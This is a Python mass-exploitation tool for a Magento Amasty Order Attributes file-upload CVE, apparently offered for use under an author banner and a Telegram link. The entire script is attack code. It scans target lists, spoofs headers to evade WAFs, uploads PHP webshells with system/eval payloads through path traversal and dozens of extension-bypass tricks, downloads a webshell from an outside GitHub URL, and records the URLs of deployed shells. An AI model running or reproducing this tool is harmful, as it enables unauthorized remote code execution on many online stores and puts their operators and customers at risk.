main.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-53787 Amasty Order Attributes Exploit
Unauthenticated Arbitrary File Upload via REST API
CVSS 9.3 - Critical RCE in Amasty Order Attributes

ATTACK CAPABILITIES:
- Path Traversal to /pub (bypass .htaccess PHP restrictions)
- Extension bypass (.php. .phar. trailing dots)
- Multiple payload types with obfuscation
- WAF bypass (Cloudflare, ModSecurity, AWS WAF)
- Real-time result saving
- Parallel extension testing
"""

import os
import sys
import random
import string
import base64
import urllib3
import json
import requests
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock

# Configure UTF-8 encoding for Windows
if sys.platform == 'win32':
    try:
        sys.stdout.reconfigure(encoding='utf-8')
        sys.stderr.reconfigure(encoding='utf-8')
    except:
        pass

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ==================== COLORS ====================
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
M = "\033[95m"
C = "\033[96m"
W = "\033[97m"
RST = "\033[0m"

BANNER = f"""{C}
 █████╗ ███╗   ███╗ █████╗ ███████╗████████╗██╗   ██╗    ██████╗  ██████╗███████╗
██╔══██╗████╗ ████║██╔══██╗██╔════╝╚══██╔══╝╚██╗ ██╔╝    ██╔══██╗██╔════╝██╔════╝
███████║██╔████╔██║███████║███████╗   ██║    ╚████╔╝     ██████╔╝██║     █████╗  
██╔══██║██║╚██╔╝██║██╔══██║╚════██║   ██║     ╚██╔╝      ██╔══██╗██║     ██╔══╝  
██║  ██║██║ ╚═╝ ██║██║  ██║███████║   ██║      ██║       ██║  ██║╚██████╗███████╗
╚═╝  ╚═╝╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝   ╚═╝      ╚═╝       ╚═╝  ╚═╝ ╚═════╝╚══════╝
{RST}
     {Y}Amasty Order Attributes RCE{RST} | {G}CVE-2026-53787 (CVSS 9.3){RST}
          {C}Author: Bob Marley (https://t.me/marleyybob123){RST}
"""

# ==================== CONFIG ====================
THREADS = 10
TIMEOUT = 15
RCE_TIMEOUT = 8
EXT_WORKERS = 8
VERBOSE = False  # Global verbose flag

# Timestamped output directory
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
OUTPUT_DIR = f"Amasty_Results_{timestamp}"

# Thread-safe output
print_lock = Lock()

def safe_print(msg):
    """Thread-safe printing"""
    with print_lock:
        print(msg, flush=True)

def verbose_print(msg):
    """Print only in verbose mode"""
    if VERBOSE:
        safe_print(f"{B}[VERBOSE]{RST} {msg}")

# ==================== UTILITIES ====================
def ensure_output_dir():
    """Create output directory if not exists"""
    if not os.path.exists(OUTPUT_DIR):
        os.makedirs(OUTPUT_DIR)

def normalize_url(url):
    """Normalize URL to include http/https"""
    if not url.startswith(('http://', 'https://')):
        return f"https://{url}"
    return url

def get_bypass_headers():
    """WAF bypass headers - Cloudflare, ModSecurity, AWS WAF"""
    return {
        'X-Forwarded-For': '127.0.0.1',
        'X-Originating-IP': '127.0.0.1',
        'X-Remote-IP': '127.0.0.1',
        'X-Remote-Addr': '127.0.0.1',
        'X-Client-IP': '127.0.0.1',
        'X-Host': '127.0.0.1',
        'X-Forwarded-Host': '127.0.0.1',
        'X-Real-IP': '127.0.0.1',
        'Forwarded': 'for=127.0.0.1;by=127.0.0.1;host=127.0.0.1',
        'X-Original-URL': '/',
        'X-Rewrite-URL': '/',
        'X-Custom-IP-Authorization': '127.0.0.1',
        'X-ProxyUser-IP': '127.0.0.1',
        'True-Client-IP': '127.0.0.1',
        'CF-Connecting-IP': '127.0.0.1',
        'Referer': 'https://www.google.com/',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Content-Type': 'application/json'
    }

def gen_random(length=8):
    """Generate random string"""
    return ''.join(random.choice(string.ascii_lowercase) for _ in range(length))

def get_bob_shell_code():
    """Get Bob Marley webshell from GitHub"""
    try:
        url = "https://raw.githubusercontent.com/Bob-Marley-Backup/LAB-Uncomplete/refs/heads/main/bob.php"
        r = requests.get(url, timeout=10, verify=False)
        if r.status_code == 200:
            return r.text
    except:
        pass
    
    # Fallback
    return "<?php system($_GET['cmd']); ?>"

def read_targets(file_path):
    """Read targets from file"""
    try:
        encodings = ['utf-8', 'latin-1', 'cp1252']
        for encoding in encodings:
            try:
                with open(file_path, 'r', encoding=encoding) as f:
                    targets = [normalize_url(line.strip()) for line in f if line.strip()]
                return targets
            except UnicodeDecodeError:
                continue
        return []
    except Exception as e:
        safe_print(f"{R}[ERROR]{RST} Reading file: {e}")
        return []

def get_amasty_endpoints():
    """Get all possible Amasty upload endpoints"""
    return [
        '/rest/V1/amasty_orderattr/uploadFile',
        '/rest/all/V1/amasty_orderattr/uploadFile',
        '/rest/default/V1/amasty_orderattr/uploadFile',
    ]

# ==================== PAYLOADS ====================
def get_payloads():
    """Get different payload types for RCE"""
    return {
        'minimal': "<?php system($_GET['cmd']); ?>",
        'passthru': "<?php passthru($_GET['cmd']); ?>",
        'exec': "<?php echo shell_exec($_GET['cmd']); ?>",
        'standard': "<?php @eval($_POST['cmd']); ?>",
        'obfuscated': "<?php $a='shell'.'_exec';echo $a($_GET['cmd']); ?>",
        'fingerprint': "<?php echo 'GOOD'; echo 3*395; ?>"  # Wild attack signature
    }

# ==================== SCANNER ====================
def check_vulnerable(url):
    """Check if target has vulnerable Amasty endpoint"""
    try:
        headers = get_bypass_headers()
        
        verbose_print(f"Scanning {url}")
        
        for endpoint in get_amasty_endpoints():
            full_url = f"{url}{endpoint}"
            verbose_print(f"Testing endpoint: {full_url}")
            
            # Test with minimal payload
            test_data = {
                "fileContent": {
                    "base64_encoded_data": base64.b64encode(b"test").decode(),
                    "fileName_with_extension": f"{gen_random()}.txt"
                }
            }
            
            try:
                r = requests.post(
                    full_url,
                    json=test_data,
                    headers=headers,
                    timeout=TIMEOUT,
                    verify=False,
                    allow_redirects=False
                )
                
                verbose_print(f"Response status: {r.status_code}")
                
                # Check for success indicators
                if r.status_code == 200:
                    verbose_print(f"Response body: {r.text[:200]}")
                    try:
                        resp = r.json()
                        verbose_print(f"JSON response: {resp}")
                        
                        # Vulnerable if:
                        # 1. Returns file path as string (e.g., "/c/w/filename.txt")
                        # 2. Returns dict with file/url/path keys
                        # 3. Returns empty object {} (accepted without attribute_code)
                        # NOT vulnerable if returns specific error requiring attribute_code
                        
                        # Check if response is a file path string
                        if isinstance(resp, str) and len(resp) > 0:
                            # If it looks like a file path, it's vulnerable
                            if '/' in resp and resp.endswith('.txt'):
                                verbose_print(f"VULNERABLE! Got file path string: {resp}")
                                return True, endpoint
                        
                        # Check if response is dict with file info
                        if isinstance(resp, dict):
                            if 'file' in resp or 'url' in resp or 'path' in resp:
                                verbose_print(f"VULNERABLE! Found file/url/path in response")
                                return True, endpoint
                            
                            # Check if it's truly empty success (vulnerable) vs error response
                            if resp == {} or len(resp) == 0:
                                verbose_print(f"VULNERABLE! Empty success response")
                                return True, endpoint
                            
                            # If we got a response with 'message' containing attribute error, it's patched
                            if 'message' in resp and 'attribute' in str(resp['message']).lower():
                                verbose_print(f"Patched - requires attribute_code")
                                continue
                            
                    except ValueError:
                        # Not JSON, might be vulnerable if 200 status
                        verbose_print(f"Not JSON response")
                        if r.text and len(r.text) < 1000:  # Avoid false positives from HTML
                            verbose_print(f"VULNERABLE! Non-JSON 200 response")
                            return True, endpoint
                        
            except requests.exceptions.Timeout:
                verbose_print(f"Timeout on {full_url}")
                continue
            except Exception as e:
                verbose_print(f"Error: {str(e)}")
                continue
        
        verbose_print(f"Not vulnerable")
        return False, None
        
    except Exception as e:
        verbose_print(f"Fatal error: {str(e)}")
        return False, None

def scan_targets(targets):
    """Scan targets for Amasty vulnerability"""
    safe_print(f"\n{C}[*]{RST} Scanning {len(targets)} targets with {THREADS} threads...")
    safe_print(f"{C}[*]{RST} Checking for CVE-2026-53787 (Amasty Order Attributes)...")
    safe_print(f"{Y}[!]{RST} Note: Only sites WITH Amasty extension will be vulnerable")
    safe_print(f"{Y}[!]{RST} This is NOT a general Magento exploit - it's Amasty-specific\n")
    
    vulnerable = []
    completed = 0
    
    ensure_output_dir()
    vuln_file = os.path.join(OUTPUT_DIR, "Vulnerable.txt")
    
    def scan_single(url):
        nonlocal completed
        is_vuln, endpoint = check_vulnerable(url)
        completed += 1
        
        if completed % 50 == 0:
            safe_print(f"{Y}[PROGRESS]{RST} {completed}/{len(targets)} scanned...")
        
        if is_vuln:
            safe_print(f"{G}[VULN]{RST} {url}")
            with print_lock:
                with open(vuln_file, 'a') as f:
                    f.write(f"{url}\n")
            return (url, endpoint)
        return None
    
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = [executor.submit(scan_single, url) for url in targets]
        
        for future in as_completed(futures):
            result = future.result()
            if result:
                vulnerable.append(result)
    
    safe_print(f"\n{G}[+]{RST} Scan complete!")
    safe_print(f"{G}[+]{RST} Found {len(vulnerable)}/{len(targets)} vulnerable targets")
    safe_print(f"{G}[+]{RST} Results saved: {vuln_file}\n")
    
    return vulnerable

# ==================== POC UPLOAD ====================
def upload_poc(url, marker="Bob Marley is here"):
    """Upload PoC text file"""
    try:
        headers = get_bypass_headers()
        filename = f"{gen_random()}.txt"
        
        verbose_print(f"Trying to upload to {url}")
        verbose_print(f"Filename: {filename}")
        
        for endpoint in get_amasty_endpoints():
            full_url = f"{url}{endpoint}"
            verbose_print(f"Testing endpoint: {full_url}")
            
            payload = {
                "fileContent": {
                    "base64_encoded_data": base64.b64encode(marker.encode()).decode(),
                    "fileName_with_extension": filename
                }
            }
            
            try:
                r = requests.post(
                    full_url,
                    json=payload,
                    headers=headers,
                    timeout=RCE_TIMEOUT,
                    verify=False,
                    allow_redirects=False
                )
                
                verbose_print(f"Upload response status: {r.status_code}")
                verbose_print(f"Upload response body: {r.text[:200]}")
                
                if r.status_code == 200:
                    try:
                        resp_json = r.json()
                        verbose_print(f"JSON response: {resp_json}")
                    except:
                        verbose_print("Response is not JSON")
                    
                    # Amasty stores files with char1/char2 subdirectories
                    char1 = filename[0]
                    char2 = filename[1]
                    
                    # Try to access uploaded file in multiple possible locations
                    possible_paths = [
                        f"{url}/media/amasty_checkout/{char1}/{char2}/{filename}",
                        f"{url}/pub/media/amasty_checkout/{char1}/{char2}/{filename}",
                    ]
                    
                    for file_url in possible_paths:
                        verbose_print(f"Checking file at: {file_url}")
                        try:
                            verify = requests.get(
                                file_url, 
                                headers=get_bypass_headers(), 
                                timeout=5, 
                                verify=False,
                                allow_redirects=False
                            )
                            
                            verbose_print(f"File check status: {verify.status_code}")
                            
                            if verify.status_code == 200:
                                if marker in verify.text:
                                    verbose_print(f"SUCCESS! Marker found in response")
                                    return True, file_url, endpoint
                                else:
                                    verbose_print(f"File exists but marker not found. Content: {verify.text[:100]}")
                        except Exception as e:
                            verbose_print(f"Error checking file: {str(e)}")
                            continue
            except Exception as e:
                verbose_print(f"Error during upload: {str(e)}")
                continue
        
        verbose_print("All endpoints and paths failed")
        return False, None, None
        
    except Exception as e:
        verbose_print(f"Fatal error in upload_poc: {str(e)}")
        return False, None, None

def poc_batch(targets, marker):
    """Batch PoC upload"""
    safe_print(f"\n{Y}[!]{RST} TIP: Run option 1 (Scan) first to identify vulnerable targets")
    safe_print(f"{C}[*]{RST} Uploading PoC files to {len(targets)} targets...")
    safe_print(f"{C}[*]{RST} Marker: {marker}")
    if VERBOSE:
        safe_print(f"{B}[*]{RST} Verbose mode enabled - showing detailed errors\n")
    else:
        safe_print("")
    
    ensure_output_dir()
    success_file = os.path.join(OUTPUT_DIR, "PoC.txt")
    
    successful = 0
    completed = 0
    
    def upload_single(url):
        nonlocal successful, completed
        success, file_url, endpoint = upload_poc(url, marker)
        completed += 1
        
        if completed % 100 == 0:
            safe_print(f"{Y}[PROGRESS]{RST} {completed}/{len(targets)} tested... ({successful} successful)")
        
        if success:
            safe_print(f"{G}[SUCCESS]{RST} {url}")
            safe_print(f"{G}  URL: {file_url}{RST}")
            successful += 1
            
            with print_lock:
                with open(success_file, 'a') as f:
                    f.write(f"{file_url}\n")
            
            return file_url
        else:
            if VERBOSE or len(targets) < 10:  # Always show failures for small lists
                safe_print(f"{R}[FAILED]{RST} {url}")
        
        return None
    
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = [executor.submit(upload_single, url) for url in targets]
        for future in as_completed(futures):
            future.result()
    
    safe_print(f"\n{G}[+]{RST} PoC upload complete!")
    safe_print(f"{G}[+]{RST} Success: {successful}/{len(targets)}")
    if successful > 0:
        safe_print(f"{G}[+]{RST} Results: {success_file}")
    else:
        safe_print(f"{Y}[!]{RST} No successful uploads. Check verbose output above for details.")
    safe_print("")

# ==================== PATH TRAVERSAL RCE ====================
def upload_path_traversal(url, payload_code, extension='.php'):
    """
    Upload with path traversal to escape to /pub directory
    Bypasses .htaccess restrictions in pub/media
    """
    try:
        headers = get_bypass_headers()
        
        verbose_print(f"Path traversal attack on {url}")
        
        payloads = get_payloads()
        
        # Try each payload type
        for payload_type, payload_code in payloads.items():
            # Generate ONE filename for this payload attempt
            base_filename = f"{gen_random(6)}{extension}"
            
            verbose_print(f"Trying payload: {payload_type} with file: {base_filename}")
            
            # Path traversal patterns (3 levels MAX - security boundary limit)
            # 4+ levels triggers: "Path cannot be used with directory" error
            traversal_paths = [
                f"../../../{base_filename}",      # 3 levels: Escape to /media/ (v3.16.0) ✅
                f"../../{base_filename}",         # 2 levels: Partial escape
                f"{base_filename}"                # Standard: No traversal (fallback)
            ]
            
            for trav_path in traversal_paths:
                verbose_print(f"Trying traversal: {trav_path}")
                
                for endpoint in get_amasty_endpoints():
                    full_url = f"{url}{endpoint}"
                    verbose_print(f"Uploading to: {full_url} with filename: {trav_path}")
                    
                    upload_data = {
                        "fileContent": {
                            "base64_encoded_data": base64.b64encode(payload_code.encode()).decode(),
                            "fileName_with_extension": trav_path
                        }
                    }
                    
                    try:
                        r = requests.post(
                            full_url,
                            json=upload_data,
                            headers=headers,
                            timeout=RCE_TIMEOUT,
                            verify=False
                        )
                        
                        verbose_print(f"Upload response: {r.status_code}")
                        
                        if r.status_code == 200:
                            actual_path = None
                            try:
                                resp_body = r.json()
                                verbose_print(f"Upload response body: {resp_body}")
                                # Response is a string like "/c/w/filename.txt"
                                if isinstance(resp_body, str):
                                    actual_path = resp_body
                            except:
                                verbose_print(f"Upload response body (not JSON): {r.text[:200]}")
                            
                            verbose_print(f"Upload successful! Now testing RCE...")
                            
                            # Build test URLs - check if path traversal actually escaped
                            test_urls = []
                            
                            if actual_path:
                                # Server returned path - might be sanitized (e.g., "/_/_/../../../filename")
                                verbose_print(f"Using actual path from response: {actual_path}")
                                
                                # PRIORITY: Test escape paths first (based on confirmed manual testing)
                                test_urls.append(f"{url}/media/{base_filename}")       # v3.16.0: Escaped amasty_checkout to /media ✅
                                test_urls.append(f"{url}/pub/{base_filename}")         # v<2.4.2: Escaped to /pub
                                test_urls.append(f"{url}/{base_filename}")             # v<2.4.2: Escaped to webroot
                                test_urls.append(f"{url}/pub/media/{base_filename}")   # Partial escape
                                
                                # Test sanitized path that redirects (e.g., /media/amasty_checkout/_/_/../../../ → /media/)
                                test_urls.append(f"{url}/media/amasty_checkout{actual_path}")  # Sanitized redirect path ✅
                                test_urls.append(f"{url}/pub/media/amasty_checkout{actual_path}")
                            else:
                                # Try all possible escape locations (priority based on version behavior)
                                test_urls.append(f"{url}/media/{base_filename}")       # v3.16.0: Most common - escaped to /media ✅
                                test_urls.append(f"{url}/pub/{base_filename}")         # v<2.4.2: Older versions - escaped to /pub
                                test_urls.append(f"{url}/{base_filename}")             # v<2.4.2: Webroot escape
                                test_urls.append(f"{url}/pub/media/{base_filename}")   # Partial escape
                                
                                # Fallback: Maybe traversal failed, landed in amasty_checkout with char1/char2
                                char1 = base_filename[0]
                                char2 = base_filename[1]
                                test_urls.append(f"{url}/media/amasty_checkout/{char1}/{char2}/{base_filename}")
                                test_urls.append(f"{url}/pub/media/amasty_checkout/{char1}/{char2}/{base_filename}")
                        
                            # Test each possible URL with id command
                            for test_url in test_urls:
                                # Add command parameter
                                verify_url = f"{test_url}?cmd=id"
                                verbose_print(f"Testing RCE at: {verify_url}")
                                
                                try:
                                    verify = requests.get(
                                        verify_url,
                                        headers=get_bypass_headers(),
                                        timeout=5,
                                        verify=False
                                    )
                                    
                                    verbose_print(f"RCE test status: {verify.status_code}")
                                    
                                    if verify.status_code == 200:
                                        output = verify.text.strip()
                                        verbose_print(f"RCE output: {output[:100]}")
                                        
                                        # Check for successful execution (id command returns uid=)
                                        if 'uid=' in output:
                                            # Avoid false positives
                                            if '<html' not in output.lower()[:100]:
                                                verbose_print(f"RCE SUCCESS!")
                                                return True, test_url, payload_type, trav_path, endpoint
                                except Exception as e:
                                    verbose_print(f"RCE test error: {str(e)}")
                                    continue
                    
                    except Exception as e:
                        verbose_print(f"Upload error: {str(e)}")
                        continue
        
        return False, None, None, None, None
        
    except Exception as e:
        return False, None, None, None, None

def path_traversal_batch(targets):
    """Batch path traversal exploitation - Tests multiple extensions"""
    safe_print(f"\n{M}[*]{RST} PATH TRAVERSAL RCE - Escape to /media/ directory")
    safe_print(f"{M}[*]{RST} This bypasses .htaccess PHP restrictions in amasty_checkout")
    safe_print(f"{M}[*]{RST} Testing {len(targets)} targets with multiple extensions...\n")
    
    # Extensions to test with path traversal (proven effective)
    extensions = [
        # PRIORITY: Trailing dots (proven bypass)
        '.php.',
        '.phar.',
        '.phtml.',
        '.php5.',
        '.php..',
        '.phar..',
        '.phtml..',
        '.phtml...',
        
        # Standard PHP extensions
        '.php',
        '.phar',
        '.phtml',
        '.php5',
        '.pht',
        
        # PHTML case variations (comprehensive - PROVEN working!)
        '.PhTml',
        '.pHtml',
        '.PHTML',
        '.pHtMl',
        '.PHtml',
        '.phTml',
        '.phTmL',
        '.phtMl',
        '.PhTmL',
        '.pHTml',
        '.PHtMl',
        
        # PHTML with trailing dots
        '.PhTml.',
        '.PhTml..',
        '.pHtml.',
        '.pHtml..',
        '.PHTML.',
        '.PHTML..',
        '.pHtMl.',
        '.PHtml..',
        '.phTml...',
        
        # PHT variations
        '.phT',
        '.pHt',
        '.PHT',
        '.pht.',
        '.phT..',
        
        # Other case variations
        '.phAr',
        '.PHP',
        '.pHp',
        '.PHAR',
        
        # Alternative extensions
        '.inc',
        '.inc.',
    ]
    
    ensure_output_dir()
    shells_file = os.path.join(OUTPUT_DIR, "PathTraversal_Shells.txt")
    
    successful = 0
    
    def exploit_single(url):
        nonlocal successful
        
        safe_print(f"{C}[*]{RST} Testing {url} with {len(extensions)} extensions...")
        
        # Try each extension until one works
        for extension in extensions:
            verbose_print(f"Trying path traversal with extension: {extension}")
            success, shell_url, payload_type, trav_path, endpoint = upload_path_traversal(url, "", extension)
            
            if success:
                safe_print(f"{G}[RCE SUCCESS]{RST} {url} - Extension {extension} worked!")
                safe_print(f"{G}  Shell: {shell_url}{RST}")
                safe_print(f"{G}  Payload: {payload_type} | Path: {trav_path}{RST}")
                successful += 1
                
                with print_lock:
                    with open(shells_file, 'a') as f:
                        f.write(f"{shell_url}\n")
                
                return shell_url  # Found working extension, stop testing
        
        # No extensions worked
        safe_print(f"{R}[FAILED]{RST} {url} - No extensions worked with path traversal\n")
        return None
    
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = [executor.submit(exploit_single, url) for url in targets]
        for future in as_completed(futures):
            future.result()
    
    safe_print(f"\n{G}[+]{RST} Path traversal exploitation complete!")
    safe_print(f"{G}[+]{RST} Shells deployed: {successful}/{len(targets)}")
    safe_print(f"{G}[+]{RST} Results: {shells_file}\n")

# ==================== STANDARD UPLOAD ====================
def upload_standard_rce(url, extension='.php'):
    """Standard upload to pub/media/amasty_checkout"""
    try:
        headers = get_bypass_headers()
        filename = f"{gen_random(6)}{extension}"
        
        verbose_print(f"Standard upload to {url}")
        
        payloads = get_payloads()
        
        for payload_type, payload_code in payloads.items():
            verbose_print(f"Trying payload: {payload_type}")
            
            for endpoint in get_amasty_endpoints():
                full_url = f"{url}{endpoint}"
                verbose_print(f"Uploading to: {full_url} with filename: {filename}")
                
                upload_data = {
                    "fileContent": {
                        "base64_encoded_data": base64.b64encode(payload_code.encode()).decode(),
                        "fileName_with_extension": filename
                    }
                }
                
                r = requests.post(
                    full_url,
                    json=upload_data,
                    headers=headers,
                    timeout=RCE_TIMEOUT,
                    verify=False
                )
                
                verbose_print(f"Upload response: {r.status_code}")
                
                if r.status_code == 200:
                    actual_path = None
                    try:
                        resp_body = r.json()
                        verbose_print(f"Upload response body: {resp_body}")
                        if isinstance(resp_body, str):
                            actual_path = resp_body
                    except:
                        verbose_print(f"Upload response body (not JSON): {r.text[:200]}")
                    
                    # Build test URLs from actual response or fallback
                    test_urls = []
                    
                    if actual_path:
                        verbose_print(f"Using actual path: {actual_path}")
                        test_urls.append(f"{url}/media/amasty_checkout{actual_path}?cmd=echo+BOBTEST123")
                        test_urls.append(f"{url}/pub/media/amasty_checkout{actual_path}?cmd=echo+BOBTEST123")
                    else:
                        # Fallback to char1/char2
                        char1 = filename[0]
                        char2 = filename[1]
                        test_urls.append(f"{url}/media/amasty_checkout/{char1}/{char2}/{filename}?cmd=echo+BOBTEST123")
                        test_urls.append(f"{url}/pub/media/amasty_checkout/{char1}/{char2}/{filename}?cmd=echo+BOBTEST123")
                    
                    for test_url in test_urls:
                        verbose_print(f"Testing standard upload RCE at: {test_url}")
                        
                        try:
                            verify = requests.get(
                                test_url,
                                headers=get_bypass_headers(),
                                timeout=5,
                                verify=False
                            )
                            
                            verbose_print(f"Standard RCE status: {verify.status_code}")
                            
                            if verify.status_code == 200:
                                output = verify.text
                                verbose_print(f"Standard RCE output: {output[:100]}")
                                
                                if 'BOBTEST123' in output and '<html' not in output.lower()[:100]:
                                    verbose_print(f"Standard RCE SUCCESS!")
                                    return True, test_url.split('?')[0], payload_type, endpoint
                        except Exception as e:
                            verbose_print(f"Standard RCE error: {str(e)}")
                            continue
        
        return False, None, None, None
        
    except:
        return False, None, None, None

def standard_upload_batch(targets):
    """Batch standard upload"""
    safe_print(f"\n{C}[*]{RST} Standard RCE upload to pub/media/amasty_checkout")
    safe_print(f"{Y}[!]{RST} Note: May be blocked by .htaccess in some configs")
    safe_print(f"{C}[*]{RST} Testing {len(targets)} targets...\n")
    
    ensure_output_dir()
    shells_file = os.path.join(OUTPUT_DIR, "Standard_Shells.txt")
    
    successful = 0
    
    def exploit_single(url):
        nonlocal successful
        success, shell_url, payload_type, endpoint = upload_standard_rce(url)
        
        if success:
            safe_print(f"{G}[RCE SUCCESS]{RST} {url}")
            safe_print(f"{G}  Shell: {shell_url}{RST}")
            safe_print(f"{G}  Payload: {payload_type}{RST}")
            successful += 1
            
            with print_lock:
                with open(shells_file, 'a') as f:
                    f.write(f"{shell_url}|{payload_type}\n")
            
            return shell_url
        else:
            safe_print(f"{R}[FAILED]{RST} {url}")
        
        return None
    
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = [executor.submit(exploit_single, url) for url in targets]
        for future in as_completed(futures):
            future.result()
    
    safe_print(f"\n{G}[+]{RST} Standard upload complete!")
    safe_print(f"{G}[+]{RST} Shells deployed: {successful}/{len(targets)}")
    safe_print(f"{G}[+]{RST} Results: {shells_file}\n")

# ==================== STANDARD RCE WITH MULTIPLE EXTENSIONS ====================
def standard_rce_multi_extensions(targets):
    """Test standard upload with multiple extensions - detailed RCE.txt output"""
    safe_print(f"\n{G}[*]{RST} STANDARD RCE - Multiple Extension Testing")
    safe_print(f"{G}[*]{RST} Testing common PHP extensions with parallel workers\n")
    
    extensions = [
        # PRIORITY: Trailing dots (PROVEN to work!)
        '.php.',
        '.phar.',
        '.phtml.',
        '.php5.',
        '.php4.',
        '.php3.',
        '.shtml.',
        
        # Double trailing dots
        '.php..',
        '.phar..',
        '.phtml..',
        
        # Triple trailing dots
        '.phtml...',
        '.php...',
        '.phar...',
        
        # Trailing spaces
        '.php ',
        '.phar ',
        '.phtml ',
        
        # Standard PHP extensions
        '.php',
        '.phar',
        '.php5',
        '.php4',
        '.php3',
        '.phtml',
        '.pht',
        '.shtml',
        
        # PHTML case variations (comprehensive - tested working!)
        '.PhTml',
        '.pHtml',
        '.PHTML',
        '.pHtMl',
        '.PHtml',
        '.phTml',
        '.phTmL',
        '.phtMl',
        '.PhTmL',
        '.pHTml',
        '.PHtMl',
        
        # PHTML with trailing dots
        '.PhTml.',
        '.PhTml..',
        '.pHtml.',
        '.pHtml..',
        '.PHTML.',
        '.PHTML..',
        '.pHtMl.',
        '.PHtml..',
        '.phTml...',
        
        # PHT variations
        '.phT',
        '.pHt',
        '.PHT',
        '.pht.',
        '.phT..',
        
        # Other case sensitivity bypass
        '.pHp',
        '.pHP5',
        '.phAr',
        '.PhAr',
        '.PHAR',
        '.Php',
        '.PHP',
        
        # Null byte injection (truncates at %00)
        '.php%00.jpg',
        '.phar%00.txt',
        '.php%00.png',
        '.php5%00.jpg',
        '.phtml%00.gif',
        
        # Double extensions
        '.jpg.php',
        '.png.php',
        '.txt.php',
        '.pdf.phar',
        '.gif.php',
        '.jpeg.php5',
        '.txt.phtml',
        
        # Alternative PHP-like extensions
        '.inc',
        '.inc.',
        '.module',
        '.pgif',
    ]
    
    ensure_output_dir()
    rce_file = os.path.join(OUTPUT_DIR, "RCE.txt")
    
    for url in targets:
        start_time = datetime.now()
        safe_print(f"{C}[*]{RST} Testing {url} with {len(extensions)} extensions...")
        
        results = []
        
        with ThreadPoolExecutor(max_workers=EXT_WORKERS) as executor:
            futures = {executor.submit(test_extension, url, ext): ext for ext in extensions}
            
            for future in as_completed(futures):
                result = future.result()
                
                if result['success']:
                    safe_print(f"{G}[SUCCESS]{RST} {url} - Extension {result['extension']} worked!")
                    safe_print(f"{G}  Shell: {result['url']}{RST}")
                    results.append(result)
        
        elapsed = (datetime.now() - start_time).total_seconds()
        
        if not results:
            safe_print(f"{R}[FAILED]{RST} {url} - No extensions worked\n")
        else:
            safe_print(f"{G}[+]{RST} {url} - {len(results)} extensions successful\n")
            
            # Write detailed output to RCE.txt (like main.py format)
            with print_lock:
                with open(rce_file, 'a') as f:
                    f.write("=" * 80 + "\n")
                    f.write(f"Target: {url}\n")
                    f.write(f"Working Extensions: {len(results)}\n")
                    f.write(f"Time: {elapsed:.1f}s\n")
                    f.write("=" * 80 + "\n\n")
                    
                    for result in results:
                        f.write(f"Extension: {result['extension']}\n")
                        f.write(f"Payload Type: {result['payload_type']}\n")
                        f.write(f"Shell URL: {result['url']}\n")
                        f.write(f"Test: curl '{result['url']}?cmd=id'\n")
                        f.write(f"Output: {result['output']}\n\n")
                    
                    f.write("\n")
    
    safe_print(f"{G}[+]{RST} Standard RCE testing complete!")
    safe_print(f"{G}[+]{RST} Results: {rce_file}\n")

# ==================== EXTENSION BYPASS ====================
def test_extension(url, extension):
    """Test single extension - standard upload with id command"""
    try:
        headers = get_bypass_headers()
        payload = get_payloads()['minimal']
        
        verbose_print(f"Testing extension {extension}")
        
        for endpoint in get_amasty_endpoints():
            # Generate NEW random filename for each endpoint to avoid _1 _2 duplicates
            filename = f"{gen_random(6)}{extension}"
            full_url = f"{url}{endpoint}"
            verbose_print(f"Uploading {filename} to: {full_url}")
            
            upload_data = {
                "fileContent": {
                    "base64_encoded_data": base64.b64encode(payload.encode()).decode(),
                    "fileName_with_extension": filename
                }
            }
            
            r = requests.post(
                full_url,
                json=upload_data,
                headers=headers,
                timeout=RCE_TIMEOUT,
                verify=False
            )
            
            verbose_print(f"Upload response: {r.status_code}")
            
            if r.status_code == 200:
                actual_path = None
                try:
                    resp_body = r.json()
                    verbose_print(f"Upload response body: {resp_body}")
                    if isinstance(resp_body, str):
                        actual_path = resp_body
                except:
                    verbose_print(f"Upload response body (not JSON): {r.text[:200]}")
                
                # Build test URLs from actual response or fallback
                test_urls = []
                
                if actual_path:
                    # Use actual path from response
                    verbose_print(f"Using actual path from response: {actual_path}")
                    test_urls.append(f"{url}/media/amasty_checkout{actual_path}?cmd=id")
                    test_urls.append(f"{url}/pub/media/amasty_checkout{actual_path}?cmd=id")
                else:
                    # Fallback to guessing with char1/char2
                    char1 = filename[0]
                    char2 = filename[1]
                    test_urls.append(f"{url}/media/amasty_checkout/{char1}/{char2}/{filename}?cmd=id")
                    test_urls.append(f"{url}/pub/media/amasty_checkout/{char1}/{char2}/{filename}?cmd=id")
                
                for test_url in test_urls:
                    try:
                        verbose_print(f"Testing RCE at: {test_url}")
                        verify = requests.get(test_url, headers=get_bypass_headers(), timeout=5, verify=False)
                        
                        verbose_print(f"RCE test response: {verify.status_code}")
                        
                        if verify.status_code == 200:
                            output = verify.text.strip()
                            verbose_print(f"RCE output (first 100 chars): {output[:100]}")
                            
                            # Check for uid= which indicates id command worked
                            if 'uid=' in output and '<html' not in output.lower()[:100]:
                                verbose_print(f"SUCCESS! Found uid= in output - RCE confirmed!")
                                return {
                                    'success': True,
                                    'extension': extension,
                                    'url': test_url.split('?')[0],
                                    'endpoint': endpoint,
                                    'payload_type': 'minimal',
                                    'output': output[:100]  # First 100 chars of output
                                }
                            else:
                                verbose_print(f"FAILED: No uid= found or HTML detected")
                    except Exception as e:
                        verbose_print(f"RCE test error: {str(e)[:50]}")
                        continue
        
        return {'success': False, 'extension': extension}
        
    except:
        return {'success': False, 'extension': extension}

def extension_bypass_batch(targets):
    """Test extension bypass techniques"""
    safe_print(f"\n{M}[*]{RST} EXTENSION BYPASS TESTING")
    safe_print(f"{M}[*]{RST} Testing multiple extensions with path traversal\n")
    
    extensions = [
        # Trailing dots (priority)
        '.php.',
        '.phar.',
        '.phtml.',
